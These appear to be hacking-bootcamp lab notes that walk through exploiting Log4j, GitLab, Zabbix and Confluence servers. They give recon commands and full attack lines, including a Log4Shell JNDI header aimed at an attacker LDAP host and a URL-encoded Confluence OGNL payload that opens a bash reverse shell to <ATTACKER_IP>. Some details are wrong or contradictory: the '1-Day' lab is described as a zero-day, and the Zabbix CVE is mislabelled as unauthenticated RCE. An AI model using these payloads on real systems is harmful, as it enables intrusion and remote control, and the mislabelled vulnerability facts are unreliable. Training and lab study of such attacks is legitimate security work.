This document outlines the labs completed on 08/01/2025 during the hacking bootcamp, focusing on exploiting vulnerabilities in network services.
- Lab 1: Network Service 1-Day Exploit
- Lab 2: Apache Log4j Attack
- Lab 3: Gitlab Attack
- Lab 4: RCE as Service in Zabbix Example
- Lab 5: Searching for Known Software Vulnerabilities
- Lab 6: Confluence Attack
Gain unauthorized access by exploiting a zero-day vulnerability in a network service.
- Zero-Day Vulnerability: Unpatched flaw in a network service allows remote code execution.
Target network service must be running a vulnerable version exposed to the network.
- Setup
- Verify connectivity to the target service.
nmap -sV -p <SERVICE_PORT> <TARGET_IP>
- Reconnaissance
- Identify the service and version.
nmap --script vuln -p <SERVICE_PORT> <TARGET_IP>
- Exploitation
- Execute a zero-day exploit (e.g., custom PoC).
python3 zeroday_exploit.py --host <TARGET_IP> --port <SERVICE_PORT>
Unpatched zero-day vulnerabilities allow attackers to execute arbitrary code on the target service.
- Use Metasploit for automated exploitation if a module exists.
- Obtain or develop a proof-of-concept (PoC) exploit for the specific service.
Achieve remote code execution by exploiting the Apache Log4j vulnerability (Log4Shell).
- Log4Shell (CVE-2021-44228): Unsanitized JNDI lookups in Log4j allow remote code execution.
Target server must run a vulnerable version of Apache Log4j (2.0–2.14.1).
- Setup
- Verify connectivity to the target application.
curl http://<TARGET_IP>:<PORT>
- Reconnaissance
- Confirm Log4j vulnerability with a JNDI payload test.
curl -H "X-Api-Version: ${jndi:ldap://<ATTACKER_IP>:1389/a}" http://<TARGET_IP>:<PORT>
- Exploitation
- Exploit Log4Shell to execute a reverse shell.
python3 log4shell_exploit.py --host <TARGET_IP> --port <PORT> --ldap <ATTACKER_IP>:1389
Log4j’s JNDI lookup feature processes malicious input, allowing attackers to execute arbitrary code via LDAP or RMI.
- Use Metasploit’s Log4Shell module for automated exploitation.
- CVE-2021-44228 Details: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
- Log4Shell Guide: https://www.lunasec.io/docs/log4shell/
- Set up an LDAP server on the attacker machine to deliver the payload.
Gain unauthorized access by exploiting a vulnerability in Gitlab.
- Gitlab RCE (e.g., CVE-2021-22205): Unauthenticated remote code execution via ExifTool.
Target Gitlab instance must be running a vulnerable version (13.0–13.10.2).
- Setup
- Verify connectivity to the Gitlab instance.
curl http://<TARGET_IP>/users/sign_in
- Reconnaissance
- Identify the Gitlab version.
curl http://<TARGET_IP>/help | grep -i version
- Exploitation
- Exploit CVE-2021-22205 to upload a malicious image for RCE.
python3 gitlab_rce.py --url http://<TARGET_IP> --payload reverse_shell
Vulnerable Gitlab versions process malicious image metadata, allowing remote code execution via ExifTool.
- Use Metasploit’s Gitlab RCE module for automated exploitation.
- CVE-2021-22205 Details: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205
- Gitlab RCE Guide: https://www.hacktricks.xyz/pentesting/pentesting-web/gitlab
- Ensure a listener is active for the reverse shell payload.
Achieve remote code execution by exploiting a vulnerability in Zabbix.
- Zabbix RCE (e.g., CVE-2020-15803): Script execution allows unauthenticated RCE.
Target Zabbix server must be running a vulnerable version with exposed services.
- Setup
- Verify connectivity to the Zabbix server.
nmap -sV -p 80,443 <TARGET_IP>
- Reconnaissance
- Confirm Zabbix version and exposed endpoints.
curl http://<TARGET_IP>/zabbix/index.php
- Exploitation
- Exploit CVE-2020-15803 to execute a script for RCE.
python3 zabbix_rce.py --url http://<TARGET_IP>/zabbix --script reverse_shell
Zabbix’s script execution feature in vulnerable versions allows attackers to run arbitrary code without authentication.
- Use Metasploit’s Zabbix module for automated exploitation.
- CVE-2020-15803 Details: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15803
- Zabbix Exploitation Guide: https://www.hacktricks.xyz/pentesting/pentesting-web/zabbix
- Verify Zabbix version before attempting exploitation.
Identify exploitable vulnerabilities in network services using enumeration tools.
- Known Vulnerabilities: Outdated software versions with documented exploits.
Target network service must be accessible for scanning.
- Setup
- Verify connectivity to the target service.
ping <TARGET_IP>
- Reconnaissance
- Scan for services and vulnerabilities using Nmap.
nmap --script vuln -p- <TARGET_IP>
- Exploitation
- Search for exploits matching discovered vulnerabilities.
searchsploit <SERVICE_NAME> <VERSION>
Outdated services have known vulnerabilities that can be identified and exploited using public exploit databases.
- Use Nessus or OpenVAS for automated vulnerability scanning.
- Nmap Vulnerability Scripts: https://nmap.org/nsedoc/categories/vuln.html
- Exploit-DB: https://www.exploit-db.com/
- Cross-reference Nmap findings with Exploit-DB for accurate exploits.
Gain unauthorized access by exploiting a vulnerability in Confluence.
- Confluence RCE (e.g., CVE-2022-26134): Unauthenticated remote code execution via OGNL injection.
Target Confluence server must be running a vulnerable version (7.0.0–7.19.7).
- Setup
- Verify connectivity to the Confluence server.
curl http://<TARGET_IP>/confluence
- Reconnaissance
- Identify the Confluence version.
curl http://<TARGET_IP>/confluence/login.action | grep -i version
- Exploitation
- Exploit CVE-2022-26134 to execute a reverse shell.
curl "http://<TARGET_IP>/confluence/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/<ATTACKER_IP>/4444%200%3E%261%27%22%29%7D/"
Confluence’s OGNL injection vulnerability allows unauthenticated attackers to execute arbitrary code via crafted URLs.
- Use Metasploit’s Confluence RCE module for automated exploitation.
- CVE-2022-26134 Details: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26134
- Confluence Exploitation Guide: https://www.hacktricks.xyz/pentesting/pentesting-web/confluence
- Set up a listener (e.g., netcat) on
<ATTACKER_IP>:4444before exploitation.